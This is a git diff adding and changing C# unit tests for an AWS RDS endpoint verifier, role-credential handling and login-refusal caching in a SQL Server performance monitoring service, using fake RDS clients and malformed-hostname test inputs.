+        Assert.Null(DarlingWorker.AwsRoleConfigurationFault(ex));
+        Assert.Null(DarlingWorker.AwsRoleConfigurationFault(new InvalidOperationException("unrelated")));
+    }
+
+    /* ---- the public factory parameters --------------------------------------------------------------------- */
+
+    [Fact]
+    public async Task APublicFactory_ServesAServerWithNoRole_AndRefusesAServerWithOne_WithoutCallingIt()
+    {
+        var called = 0;
+        var source = new RdsLogSource(_ =>
+        {
+            called++;
+            return new RecordingRds(new BasicAWSCredentials(ProcessAccessKey, "example-process-secret"));
+        }, verifier: Enforcing());
+
+        await Assert.ThrowsAsync<InvalidOperationException>(() => ReadAsync(source, KeyA));
+        Assert.Equal(0, called);
+
+        await ReadAsync(source, role: null);
+        Assert.Equal(1, called);
+    }
+
+    [Fact]
+    public async Task ADefaultFactoryWithNoCache_RefusesARole_Too()
+    {
+        var ingestor = new RdsCpuIngestor(UnusedDataSource(), verifier: Enforcing());
+
+        var ex = await Record.ExceptionAsync(() => ingestor.IngestAsync(1, "s", InstanceHost, ConnectionString, KeyA, CancellationToken.None));
+
+        var wrapped = Assert.IsType<PiMetricsUnavailableException>(ex);
+        Assert.IsType<InvalidOperationException>(wrapped.InnerException);
+    }
+
+    /* ---- the wiring, pinned in the source ------------------------------------------------------------------- */
+
+    [Fact]
+    public void TheWorkersRoleArm_ComesBeforeEveryArmThatReadsTheTextOfAnAwsFailure()
+    {
+        var worker = RepoFile.ReadRepoFileLf("Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs");
+
+        var roleArm = worker.IndexOf("catch (Exception ex) when (AwsRoleConfigurationFault(ex) is { } assume)", StringComparison.Ordinal);
+        var mismatch = worker.IndexOf("catch (RdsEndpointMismatchException ex)", StringComparison.Ordinal);
+        var logArm = worker.IndexOf("catch (RdsLogUnavailableException ex) when (ex.IsAuthorizationFailure)", StringComparison.Ordinal);
+        var piArm = worker.IndexOf("catch (PiMetricsUnavailableException ex) when (ex.IsAuthorizationFailure)", StringComparison.Ordinal);
+        var general = worker.IndexOf("        catch (Exception ex)\n        {\n            /* #3095", StringComparison.Ordinal);
+
+        Assert.True(roleArm > 0, "the role arm is missing");
+        Assert.True(roleArm < mismatch, "the role arm must come before the endpoint arm");
+        Assert.True(roleArm < logArm, "the role arm must come before the RDS log arm");
+        Assert.True(roleArm < piArm, "the role arm must come before the Performance Insights arm");
+        Assert.True(general < 0 || roleArm < general, "the role arm must come before the general arm");
+
+        var armBody = worker.Substring(roleArm, mismatch - roleArm);
+        Assert.Contains("\"PERMISSIONS\"", armBody, StringComparison.Ordinal);
+        Assert.Contains("AwsRoleFaultNote(", armBody, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheRunner_HandsTheRoleCacheToEveryReader_AndEveryCallPassesTheServersRole()
+    {
+        var runner = RepoFile.ReadRepoFileLf("Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs");
+
+        Assert.Equal(4, CountOf(runner, "roles: _awsRoles));"));
+        Assert.Equal(4, CountOf(runner, "server.Config.AwsRoleKey, cancellationToken);"));
+        Assert.Contains("RetainAwsRoles", RepoFile.ReadRepoFileLf("Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs"), StringComparison.Ordinal);
+    }
+
+    private static int CountOf(string text, string needle)
+    {
+        var count = 0;
+        for (var at = text.IndexOf(needle, StringComparison.Ordinal); at >= 0; at = text.IndexOf(needle, at + needle.Length, StringComparison.Ordinal))
+        {
+            count++;
+        }
+
+        return count;
+    }
+}
diff --git a/Darling/Darling.Tests/RdsDeadlockReportResumeTests.cs b/Darling/Darling.Tests/RdsDeadlockReportResumeTests.cs
index 52303be2e0..d3042956bf 100644
--- a/Darling/Darling.Tests/RdsDeadlockReportResumeTests.cs
+++ b/Darling/Darling.Tests/RdsDeadlockReportResumeTests.cs
@@ -76,7 +76,7 @@ private static (Func<Task<RdsIngestOutcome>> Ingest, List<PgDeadlocksCollector.R
             },
         };
 
-        return (() => ingestor.IngestAsync(1, "s", Host, false, false, CancellationToken.None), stored);
+        return (() => ingestor.IngestAsync(1, "s", Host, false, false, cancellationToken: CancellationToken.None), stored);
     }
 
     private static string SavedPosition(RdsFakeCollectorState state) => state.Value("pg_deadlocks", "log_resume") ?? "(none)";
diff --git a/Darling/Darling.Tests/RdsEndpointVerifierTests.Login.cs b/Darling/Darling.Tests/RdsEndpointVerifierTests.Login.cs
new file mode 100644
index 0000000000..58ed25c774
--- /dev/null
+++ b/Darling/Darling.Tests/RdsEndpointVerifierTests.Login.cs
@@ -0,0 +1,462 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Amazon.RDS.Model;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service.Targets;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: these cases never connect to any store; the login probe is an in-memory fake. */
+public partial class RdsEndpointVerifierTests
+{
+    private static IEnumerable<string> ServiceFiles()
+    {
+        var service = Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Service");
+
+        return Directory.EnumerateFiles(service, "*.cs", SearchOption.AllDirectories)
+            .Where(path => !path.Contains(Path.DirectorySeparatorChar + "obj" + Path.DirectorySeparatorChar, StringComparison.Ordinal)
+                && !path.Contains(Path.DirectorySeparatorChar + "bin" + Path.DirectorySeparatorChar, StringComparison.Ordinal));
+    }
+
+    private static string ServiceFile(string name)
+        => File.ReadAllText(Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Service", name)).Replace("\r\n", "\n");
+
+    /// <summary>
+    /// The skip switch the older fixtures rely on stays out of product code: it may be named in the verifier's own file
+    /// and nowhere else in the service.
+    /// </summary>
+    [Fact]
+    public void TheTestSkipSwitch_IsNamedInNoOtherServiceFile()
+    {
+        var offenders = ServiceFiles()
+            .Where(path => Path.GetFileName(path) != "RdsEndpointVerifier.cs"
+                && File.ReadAllText(path).Contains("TestOnlySkipCheck", StringComparison.Ordinal))
+            .ToList();
+
+        Assert.Empty(offenders);
+    }
+
+    private const string TargetTypedConstruction =
+        @"(?:RdsEndpointVerifier\??\s+\w+\s*=|[Vv]erifier\w*\s*(?:\?\?=?|=))\s*new\s*\(\s*[^)\s]";
+
+    private const string TestFactoryCall = @"RdsEndpointVerifier\s*\.\s*ForTests\b";
+
+    /// <summary>
+    /// No service file builds a verifier that skips the check: outside the verifier's file the only construction forms are
+    /// the parameterless one (the runner's shared verifier) and the log source's clock-only one. None names
+    /// <c>enforce</c> or the test factory, and none passes arguments through a target-typed <c>new(</c>. The constructor
+    /// that takes <c>enforce</c> and the login probe is private.
+    /// </summary>
+    [Fact]
+    public void NoServiceFile_BuildsAVerifierThatSkipsTheCheck()
+    {
+        var construction = new Regex(@"new\s+RdsEndpointVerifier\s*\(([^)]*)\)");
+        var offenders = new List<string>();
+
+        foreach (var path in ServiceFiles().Where(path => Path.GetFileName(path) != "RdsEndpointVerifier.cs"))
+        {
+            var code = File.ReadAllText(path);
+
+            if (code.Contains("enforce:", StringComparison.Ordinal) || code.Contains("enforce =", StringComparison.Ordinal))
+            {
+                offenders.Add(path + " names enforce");
+            }
+
+            if (Regex.IsMatch(code, TestFactoryCall))
+            {
+                offenders.Add(path + " calls the test factory");
+            }
+
+            foreach (Match match in construction.Matches(code))
+            {
+                var arguments = match.Groups[1].Value.Trim();
+
+                if (arguments.Length > 0 && arguments != "clock")
+                {
+                    offenders.Add(path + ": " + match.Value);
+                }
+            }
+
+            foreach (Match match in Regex.Matches(code, TargetTypedConstruction))
+            {
+                offenders.Add(path + ": " + match.Value);
+            }
+        }
+
+        Assert.Empty(offenders);
+
+        var constructors = typeof(RdsEndpointVerifier).GetConstructors(
+            System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);
+
+        Assert.All(
+            constructors.Where(c => c.GetParameters().Any(p => p.Name == "enforce" || p.Name == "loginProbe")),
+            c => Assert.True(c.IsPrivate, "the constructor that takes enforce or the login probe is private"));
+    }
+
+    /// <summary>The pin's patterns see the forms a planted construction would take.</summary>
+    [Theory]
+    [InlineData("RdsEndpointVerifier v = new(null, false);")]
+    [InlineData("RdsEndpointVerifier? v = new(null, null, (_, _) => Task.FromResult<string?>(null));")]
+    [InlineData("_verifier = verifier ?? new(clock, false);")]
+    [InlineData("var x = RdsEndpointVerifier.ForTests(enforce: false);")]
+    public void ThePin_SeesAPlantedConstruction(string planted)
+    {
+        Assert.True(Regex.IsMatch(planted, TargetTypedConstruction) || Regex.IsMatch(planted, TestFactoryCall));
+    }
+
+    /// <summary>The runner builds one verifier, hands it to the four RDS readers, and gives each the target's connection string and role (#5452).</summary>
+    [Fact]
+    public void TheRunner_SharesOneVerifierWithTheFourRdsReaders()
+    {
+        var runner = ServiceFile("DarlingCollectorRunner.cs");
+
+        Assert.Single(Regex.Matches(runner, @"RdsEndpointVerifier _rdsVerifier = new\(\);"));
+        Assert.Equal(4, Regex.Matches(runner, @"verifier: _rdsVerifier").Count);
+        Assert.Equal(4, Regex.Matches(runner, @"server\.ConnectionString, server\.Config\.AwsRoleKey, cancellationToken\);").Count);
+    }
+
+    /// <summary>The reload clears a server's verdicts when its definition changed, and the dispatch arm for the refusal records PERMISSIONS.</summary>
+    [Fact]
+    public void TheWorker_ClearsVerdictsOnAChangedDefinition_AndHasTheRefusalArm()
+    {
+        var worker = ServiceFile("DarlingWorker.cs");
+
+        var changed = worker.IndexOf("if (connectionChanged)", StringComparison.Ordinal);
+        var forget = worker.IndexOf("_runner?.ForgetRdsVerdicts(id);", changed, StringComparison.Ordinal);
+
+        Assert.True(changed > 0 && forget > changed, "the changed-definition branch clears the verdicts");
+        Assert.True(forget - changed < 6000, "and it does so inside that branch");
+
+        var arm = worker.IndexOf("catch (RdsEndpointMismatchException ex)", StringComparison.Ordinal);
+        var general = worker.IndexOf("catch (RdsLogUnavailableException", arm, StringComparison.Ordinal);
+
+        Assert.True(arm > 0 && general > arm);
+        Assert.Contains("\"PERMISSIONS\"", worker[arm..general], StringComparison.Ordinal);
+        Assert.Contains("ex.Message", worker[arm..general], StringComparison.Ordinal);
+
+        /* The removal branch forgets the same state, so a re-added server is checked afresh. */
+        var removed = worker.IndexOf("Removed from the monitored set (disabled/deleted)", StringComparison.Ordinal);
+        var removedForget = worker.IndexOf("_runner?.ForgetRdsVerdicts(id);", removed, StringComparison.Ordinal);
+        var removedEnd = worker.IndexOf("servers.RemoveAt(i);", removed, StringComparison.Ordinal);
+
+        Assert.True(removed > 0 && removedForget > removed && removedForget < removedEnd, "the removal branch clears the verdicts");
+
+        /* The denied-Describe text on the log route names both Describe actions, as the AWS refusal does. */
+        Assert.Contains("the role needs rds:DescribeDBInstances, rds:DescribeDBClusters, \"", worker, StringComparison.Ordinal);
+    }
+
+    /// <summary>A refused login (28000, 28P01) is a connection-level fault, so the runtime is dropped and reconnects.</summary>
+    [Theory]
+    [InlineData("28000")]
+    [InlineData("28P01")]
+    [InlineData("57P01")]
+    public void ARefusedLogin_IsAConnectionFatalFault(string sqlState)
+    {
+        var fault = new PostgresException("boom", "FATAL", "FATAL", sqlState);
+
+        Assert.Equal(CollectorTargetFault.ConnectionFatal, PostgresTargetProvider.Instance.Classify(fault, yieldsOnLockTimeout: false));
+    }
+
+    [Fact]
+    public void AnOtherwiseUnclassifiedFault_StaysUnclassified()
+    {
+        var fault = new PostgresException("boom", "ERROR", "ERROR", "42000");
+
+        Assert.Equal(CollectorTargetFault.Unclassified, PostgresTargetProvider.Instance.Classify(fault, yieldsOnLockTimeout: false));
+    }
+
+    [Fact]
+    public async Task ACachedMatch_NeedsAFreshLogin_NoOlderThanTheMatchLifetime()
+    {
+        var now = new DateTime(2026, 10, 7, 12, 0, 0, DateTimeKind.Utc);
+        var probes = 0;
+        string? answer = null;
+        var verifier = Enforcing(() => now, (_, _) => { probes++; return Task.FromResult(answer); });
+        var rds = new FakeRds();
+
+        await verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None, ConnectionString);
+        await verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None, ConnectionString);
+
+        Assert.Equal(1, rds.InstanceDescribes);
+        Assert.Equal(1, probes);
+
+        /* Inside the hour the login holds. Past it the next read logs in again, and a refused login ends the reads. */
+        now = now.AddMinutes(59);
+        await verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None, ConnectionString);
+        Assert.Equal(1, probes);
+
+        now = now.AddMinutes(2);
+        answer = "SQLSTATE 28P01";
+
+        var ex = await Assert.ThrowsAsync<RdsTargetLoginException>(
+            () => verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None, ConnectionString));
+
+        Assert.Equal(2, probes);
+        Assert.Contains(InstanceHost, ex.Message, StringComparison.Ordinal);
+        Assert.Contains("SQLSTATE 28P01", ex.Message, StringComparison.Ordinal);
+        Assert.IsAssignableFrom<RdsEndpointMismatchException>(ex);
+
+        /* The refusal is kept for the mismatch lifetime and the read still ends, with no new login in that window. */
+        answer = null;
+        now = now.AddMinutes(4);
+
+        var again = await Assert.ThrowsAsync<RdsTargetLoginException>(
+            () => verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None, ConnectionString));
+
+        Assert.Equal(2, probes);
+        Assert.Contains("SQLSTATE 28P01", again.Message, StringComparison.Ordinal);
+
+        /* After it the next read logs in again, and goes on when the login is accepted. */
+        now = now.AddMinutes(2);
+        await verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None, ConnectionString);
+        Assert.Equal(3, probes);
+        Assert.Equal(0, verifier.CachedLoginRefusalCount);
+    }
+
+    [Fact]
+    public async Task ARefusedLogin_IsKeptPerServer_AndAClearedServerLogsInAgain()
+    {
+        var now = new DateTime(2026, 10, 7, 12, 0, 0, DateTimeKind.Utc);
+        var probes = 0;
+        var verifier = Enforcing(() => now, (_, _) => { probes++; return Task.FromResult<string?>("SQLSTATE 28P01"); });
+        var rds = new FakeRds();
+
+        for (var read = 0; read < 3; read++)
+        {
+            await Assert.ThrowsAsync<RdsTargetLoginException>(
+                () => verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None, ConnectionString));
+        }
+
+        Assert.Equal(1, probes);
+        Assert.Equal(1, rds.InstanceDescribes);
+
+        await Assert.ThrowsAsync<RdsTargetLoginException>(
+            () => verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 2, CancellationToken.None, ConnectionString));
+        Assert.Equal(2, probes);
+
+        verifier.ClearServer(1);
+        Assert.Equal(1, verifier.CachedLoginRefusalCount);
+
+        await Assert.ThrowsAsync<RdsTargetLoginException>(
+            () => verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None, ConnectionString));
+        Assert.Equal(3, probes);
+    }
+
+    [Fact]
+    public async Task TheRealLoginProbe_NamesNoAddress()
+    {
+        var result = await RdsEndpointVerifier.ProbeLoginAsync("Host=127.0.0.1;Port=1;Timeout=1", CancellationToken.None);
+
+        Assert.NotNull(result);
+        Assert.DoesNotContain("127.0.0.1", result, StringComparison.Ordinal);
+        Assert.Matches(@"^(SQLSTATE [0-9A-Z]{5}|[A-Za-z][A-Za-z0-9]*)$", result);
+    }
+
+    [Fact]
+    public async Task NoConnectionString_IsNoFreshLogin_AndNothingIsRead()
+    {
+        var rds = new FakeRds();
+        var verifier = RdsEndpointVerifier.ForTests(enforce: true);
+
+        var ex = await Assert.ThrowsAsync<RdsTargetLoginException>(
+            () => verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None));
+
+        Assert.Contains("no connection string", ex.Message, StringComparison.Ordinal);
+        Assert.NotNull(await RdsEndpointVerifier.ProbeLoginAsync(null, CancellationToken.None));
+    }
+
+    [Fact]
+    public async Task ARefusedLogin_ThroughTheLogSource_ReadsNothing()
+    {
+        var rds = new FakeRds();
+        var source = new RdsLogSource(
+            _ => rds, verifier: Enforcing(loginProbe: (_, _) => Task.FromResult<string?>("SQLSTATE 28000")));
+
+        await Assert.ThrowsAsync<RdsTargetLoginException>(
+            () => source.ReadNewestAsync(InstanceHost, RdsLogSource.LogFileKind.Stderr, 7, CancellationToken.None, ConnectionString));
+
+        Assert.Equal(0, rds.LogListings);
+        Assert.Equal(0, rds.Downloads);
+    }
+
+    [Fact]
+    public async Task TheCredentialScope_IsPartOfTheVerdictKey_AndAClearedServerAsksAgain()
+    {
+        var rds = new FakeRds();
+        var verifier = Enforcing();
+
+        await verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None, ConnectionString);
+        await verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None, ConnectionString);
+        Assert.Equal(1, rds.InstanceDescribes);
+
+        await verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None, ConnectionString, "scope-b");
+        Assert.Equal(2, rds.InstanceDescribes);
+
+        await verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 2, CancellationToken.None, ConnectionString);
+        Assert.Equal(3, rds.InstanceDescribes);
+
+        verifier.ClearServer(1);
+
+        await verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None, ConnectionString);
+        await verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None, ConnectionString, "scope-b");
+        Assert.Equal(5, rds.InstanceDescribes);
+
+        /* Another server's verdict was kept. */
+        await verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 2, CancellationToken.None, ConnectionString);
+        Assert.Equal(5, rds.InstanceDescribes);
+    }
+
+    private static async Task<string> MismatchTextAsync(FakeRds rds, string host, RdsEndpointVerifier? verifier = null)
+    {
+        var ex = await Assert.ThrowsAsync<RdsEndpointMismatchException>(
+            () => (verifier ?? Enforcing()).EnsureAsync(rds, Parse(host), host, 1, CancellationToken.None, ConnectionString));
+
+        return ex.Message;
+    }
+
+    [Fact]
+    public async Task MissingId_ReadsAsMismatch()
+    {
+        var mismatched = await MismatchTextAsync(new FakeRds { InstanceAddress = ReportedElsewhere }, InstanceHost);
+
+        Assert.Equal(mismatched, await MismatchTextAsync(new FakeRds { NoResults = true }, InstanceHost));
+        Assert.Equal(mismatched, await MismatchTextAsync(
+            new FakeRds { DescribeFailure = new DBInstanceNotFoundException("DBInstance solo not found.") }, InstanceHost));
+
+        var clusterMismatch = await MismatchTextAsync(
+            new FakeRds { ClusterEndpoint = ReportedElsewhere, ReaderEndpoint = null, CustomEndpoints = null }, WriterHost);
+
+        Assert.Equal(clusterMismatch, await MismatchTextAsync(new FakeRds { NoResults = true }, WriterHost));
+        Assert.Equal(clusterMismatch, await MismatchTextAsync(
+            new FakeRds { DescribeFailure = new DBClusterNotFoundException("DBCluster shared not found.") }, WriterHost));
+    }
+
+    [Fact]
+    public async Task MissingId_IsCachedAsAMismatch()
+    {
+        var rds = new FakeRds { DescribeFailure = new DBInstanceNotFoundException("not found") };
+        var verifier = Enforcing();
+
+        await MismatchTextAsync(rds, InstanceHost, verifier);
+        await MismatchTextAsync(rds, InstanceHost, verifier);
+
+        Assert.Equal(1, rds.InstanceDescribes);
+    }
+
+    [Theory]
+    [InlineData("hosK.abc123.us-east-1.rds.amazonaws.com", "hosk.abc123.us-east-1.rds.amazonaws.com")]
+    [InlineData("höst.abc123.us-east-1.rds.amazonaws.com", "höst.abc123.us-east-1.rds.amazonaws.com")]
+    [InlineData("solo.abc123.us-east-1.rds.amazonaws.comİ", "solo.abc123.us-east-1.rds.amazonaws.comİ")]
+    public void ANonAsciiHost_MatchesNothing(string host, string reported)
+    {
+        Assert.False(RdsEndpointVerifier.Matches(host, [reported]));
+        Assert.False(RdsEndpointVerifier.Matches(reported, [host]));
+        Assert.Equal(string.Empty, RdsEndpointVerifier.Normalize(host));
+    }
+
+    [Theory]
+    [InlineData("solo.abc123.us-east-1.rds.amazonaws.com\u00A0")]
+    [InlineData("solo.abc123.us-east-1.rds.amazonaws.com\u3000")]
+    [InlineData("\u00A0solo.abc123.us-east-1.rds.amazonaws.com")]
+    [InlineData("solo.abc123.us-east-1.rds.amazonaws.com\t")]
+    [InlineData("solo.abc123.us-east-1.rds.amazonaws.com\n")]
+    public async Task AHostWithAUnicodeSpaceOrControlCharacter_ReadsAsAMismatch(string host)
+    {
+        Assert.False(RdsEndpointVerifier.Matches(host, [InstanceHost]));
+        Assert.Equal(string.Empty, RdsEndpointVerifier.Normalize(host));
+
+        var rds = new FakeRds();
+
+        await Assert.ThrowsAsync<RdsEndpointMismatchException>(
+            () => Enforcing().EnsureAsync(rds, Parse(InstanceHost), host, 1, CancellationToken.None, ConnectionString));
+    }
+
+    [Fact]
+    public void OrdinarySpacesAtTheEnds_AreStillTrimmed()
+    {
+        Assert.True(RdsEndpointVerifier.Matches("  " + InstanceHost + " ", [InstanceHost]));
+    }
+
+    [Fact]
+    public void AnAsciiHost_StillComparesIgnoringCase()
+    {
+        Assert.True(RdsEndpointVerifier.Matches("SOLO.ABC123.us-east-1.RDS.amazonaws.com", [InstanceHost]));
+    }
+
+    [Theory]
+    [InlineData("solo.abc123.us-east-1.rds.amazonaws.com,other.abc123.us-east-1.rds.amazonaws.com")]
+    [InlineData("solo.abc123.us-east-1.rds.amazonaws.com:5432")]
+    [InlineData("solo.abc123.us-east-1.rds.amazonaws.comK")]
+    [InlineData("sölo.abc123.us-east-1.rds.amazonaws.com")]
+    [InlineData("solo.abc123.us-east-1.rds.amazonaws.com extra")]
+    public async Task AHostThatIsNotOneEndpointName_ReadsNothing(string host)
+    {
+        var rds = new FakeRds();
+        var source = new RdsLogSource(_ => rds, verifier: Enforcing());
+
+        try
+        {
+            var chunk = await source.ReadNewestAsync(host, RdsLogSource.LogFileKind.Stderr, 7, CancellationToken.None, ConnectionString);
+
+            Assert.Null(chunk);
+        }
+        catch (RdsEndpointMismatchException)
+        {
+            /* The other acceptable end: refused as a mismatch. Either way nothing below was read. */
+        }
+
+        Assert.Equal(0, rds.LogListings);
+        Assert.Equal(0, rds.Downloads);
+    }
+
+    [Fact]
+    public async Task AnExpiredEntry_IsDroppedOnRead_AndEachCacheIsCapped()
+    {
+        var now = new DateTime(2026, 10, 7, 12, 0, 0, DateTimeKind.Utc);
+        var verifier = Enforcing(() => now);
+
+        await MismatchTextAsync(new FakeRds { InstanceAddress = ReportedElsewhere }, InstanceHost, verifier);
+        Assert.Equal(1, verifier.CachedVerdictCount);
+
+        now = now.AddMinutes(6);
+        var rds = new FakeRds();
+        await verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None, ConnectionString);
+
+        /* The expired mismatch was replaced by the new match under the same key, not kept beside it. */
+        Assert.Equal(1, verifier.CachedVerdictCount);
+
+        var last = 100 + RdsEndpointVerifier.MaxEntries + 49;
+
+        for (var serverId = 100; serverId <= last; serverId++)
+        {
+            now = now.AddSeconds(1);
+            await verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, serverId, CancellationToken.None, ConnectionString);
+        }
+
+        Assert.Equal(RdsEndpointVerifier.MaxEntries, verifier.CachedVerdictCount);
+        Assert.Equal(RdsEndpointVerifier.MaxEntries, verifier.CachedLoginCount);
+
+        /* The oldest entry went first: the newest is kept, and server 1 (the oldest) asks AWS again. */
+        var before = rds.InstanceDescribes;
+        await verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, last, CancellationToken.None, ConnectionString);
+        Assert.Equal(before, rds.InstanceDescribes);
+
+        await verifier.EnsureAsync(rds, Parse(InstanceHost), InstanceHost, 1, CancellationToken.None, ConnectionString);
+        Assert.Equal(before + 1, rds.InstanceDescribes);
+    }
+}
diff --git a/Darling/Darling.Tests/RdsEndpointVerifierTests.cs b/Darling/Darling.Tests/RdsEndpointVerifierTests.cs
new file mode 100644
index 0000000000..8e9b749deb
--- /dev/null
+++ b/Darling/Darling.Tests/RdsEndpointVerifierTests.cs
@@ -0,0 +1,387 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Threading;
+using System.Threading.Tasks;
+using Amazon.RDS;
+using Amazon.RDS.Model;
+using Npgsql;
+using PerformanceMonitor.Darling.Service.Targets;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// An RDS target's host has to be the endpoint AWS reports for the instance or cluster id parsed from it before any RDS
+/// or Performance Insights read runs. Every case here builds the verifier with <c>enforce: true</c>, because the test
+/// assembly's default verifier skips the check for the older fixtures that predate it.
+/// </summary>
+public partial class RdsEndpointVerifierTests
+{
+    private const string InstanceHost = "solo.abc123.us-east-1.rds.amazonaws.com";
+    private const string WriterHost = "shared.cluster-abc123.us-east-1.rds.amazonaws.com";
+    private const string ReaderHost = "shared.cluster-ro-abc123.us-east-1.rds.amazonaws.com";
+    private const string CustomHost = "shared.cluster-custom-abc.us-east-1.rds.amazonaws.com";
+    private const string HostNotReportedByAws = "solo.abc123.us-east-1.rds.example.net";
+    private const string ReportedElsewhere = "elsewhere.zzz999.us-east-1.rds.amazonaws.com";
+
+    private const string ConnectionString = "Host=solo.abc123.us-east-1.rds.amazonaws.com;Username=u;Database=d";
+
+    private static RdsEndpointVerifier Enforcing(
+        Func<DateTime>? clock = null, Func<string?, CancellationToken, Task<string?>>? loginProbe = null)
+        => RdsEndpointVerifier.ForTests(clock, enforce: true, loginProbe ?? ((_, _) => Task.FromResult<string?>(null)));
+
+    private static RdsEndpoint.Parsed Parse(string host) => RdsEndpoint.TryParse(host)!.Value;
+
+    private static NpgsqlDataSource UnusedDataSource()
+        => NpgsqlDataSource.Create("Host=localhost;Port=1;Database=unused");
+
+    private sealed class FakeRds : AmazonRDSClient
+    {
+        public FakeRds() : base(new Amazon.Runtime.BasicAWSCredentials("a", "b"), Amazon.RegionEndpoint.USEast1) { }
+
+        public string? InstanceAddress { get; init; } = InstanceHost;
+        public string? ClusterEndpoint { get; init; } = WriterHost;
+        public string? ReaderEndpoint { get; init; } = ReaderHost;
+        public List<string>? CustomEndpoints { get; init; } = [CustomHost];
+        public Exception? DescribeFailure { get; init; }
+
+        /// <summary>Describe answers with an empty list.</summary>
+        public bool NoResults { get; init; }
+
+        public int InstanceDescribes;
+        public int ClusterDescribes;
+        public int LogListings;
+        public int Downloads;
+
+        public override Task<DescribeDBInstancesResponse> DescribeDBInstancesAsync(
+            DescribeDBInstancesRequest request, CancellationToken cancellationToken = default)
+        {
+            InstanceDescribes++;
+
+            if (DescribeFailure is not null)
+            {
+                throw DescribeFailure;
+            }
+
+            if (NoResults)
+            {
+                return Task.FromResult(new DescribeDBInstancesResponse { DBInstances = [] });
+            }
+
+            return Task.FromResult(new DescribeDBInstancesResponse
+            {
+                DBInstances = [new DBInstance { Endpoint = new Endpoint { Address = InstanceAddress }, DbiResourceId = "db-EXAMPLE" }],
+            });
+        }
+
+        public override Task<DescribeDBClustersResponse> DescribeDBClustersAsync(
+            DescribeDBClustersRequest request, CancellationToken cancellationToken = default)
+        {
+            ClusterDescribes++;
+
+            if (DescribeFailure is not null)
+            {
+                throw DescribeFailure;
+            }
+
+            if (NoResults)
+            {
+                return Task.FromResult(new DescribeDBClustersResponse { DBClusters = [] });
+            }
+
+            return Task.FromResult(new DescribeDBClustersResponse
+            {
+                DBClusters =
+                [
+                    new DBCluster
+                    {
+                        Endpoint = ClusterEndpoint,
+                        ReaderEndpoint = ReaderEndpoint,
+                        CustomEndpoints = CustomEndpoints,
+                        DBClusterMembers = [new DBClusterMember { DBInstanceIdentifier = "writer-1", IsClusterWriter = true }],
+                    },
+                ],
+            });
+        }
+
+        public override Task<DescribeDBLogFilesResponse> DescribeDBLogFilesAsync(
+            DescribeDBLogFilesRequest request, CancellationToken cancellationToken = default)
+        {
+            LogListings++;
+
+            return Task.FromResult(new DescribeDBLogFilesResponse
+            {
+                DescribeDBLogFiles = [new DescribeDBLogFilesDetails { LogFileName = "error/postgresql.log.2026-08-25-18", LastWritten = 1000 }],
+            });
+        }
+
+        public override Task<DownloadDBLogFilePortionResponse> DownloadDBLogFilePortionAsync(
+            DownloadDBLogFilePortionRequest request, CancellationToken cancellationToken = default)
+        {
+            Downloads++;
+
+            return Task.FromResult(new DownloadDBLogFilePortionResponse { LogFileData = string.Empty, Marker = "M" });
+        }
+    }
+
+    [Theory]
+    [InlineData("SOLO.ABC123.US-EAST-1.RDS.AMAZONAWS.COM")]
+    [InlineData("solo.abc123.us-east-1.rds.amazonaws.com.")]
+    [InlineData("  Solo.Abc123.us-east-1.rds.amazonaws.com..  ")]
+    public void Matches_IgnoresCaseAndTrailingDot(string host)
+    {
+        Assert.True(RdsEndpointVerifier.Matches(host, [InstanceHost]));
+        Assert.True(RdsEndpointVerifier.Matches(InstanceHost, [host]));
+    }
+
+    [Fact]
+    public void Matches_RefusesAnEmptyOrAbsentReportedAddress()
+    {
+        Assert.False(RdsEndpointVerifier.Matches(InstanceHost, [null, string.Empty, "  ", "."]));
+        Assert.False(RdsEndpointVerifier.Matches(string.Empty, [string.Empty]));
+        Assert.False(RdsEndpointVerifier.Matches(InstanceHost, []));
+    }
+
+    [Fact]
